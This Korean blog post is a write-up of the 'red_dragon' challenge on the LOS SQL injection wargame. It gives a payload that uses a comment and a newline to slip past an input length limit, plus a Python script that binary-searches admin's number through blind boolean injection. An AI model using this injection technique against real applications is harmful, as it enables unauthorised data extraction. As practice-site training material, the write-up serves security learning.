write-up(web)/los

[LOS] red_dragon

chanchand 2023. 1. 28. 23:51
반응형

문제


https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php

 

https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php

 

los.rubiya.kr

 

 

 

 

문제풀이


admin의 no를 입력하면 문제가 해결된다.

no 파라미터에는 숫자만 전달이 가능하고, id 파라미터는 7자리 이상 입력이 불가하다.

no를 알아내기 위해서 아래와 같은 쿼리를 전송한다.

 

id='||no<%23&no=%0a {}

%23으로 주석처리 하고, %0a 개행문자로, id='||no<{숫자}가 된다.

 

 

 

 

- 파이썬 코드

import requests

cookie={'PHPSESSID':''}
url="https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php"

# flag_len
flag_len=0
left=586000000
right=1000000000

while True:
  mid=(left+right)//2
  query="?id='||no<%23&no=%0a {}".format(mid)
  res=requests.get(url+query,cookies=cookie)

  if left>right:
    flag_len=mid
    print("no:{}".format(flag_len))
    break

  if "Hello admin" in (res.text):
    right=mid-1
  else:
    left=mid+1

 

 

반응형

'write-up(web) > los' 카테고리의 다른 글

[LOS] frankenstein  (0) 2023.11.04
[LOS] blue_dragon  (0) 2023.11.03
[LOS] green_dragon  (0) 2023.01.28
[LOS] evil_wizard  (0) 2023.01.25
[LOS] hell_fire  (0) 2023.01.25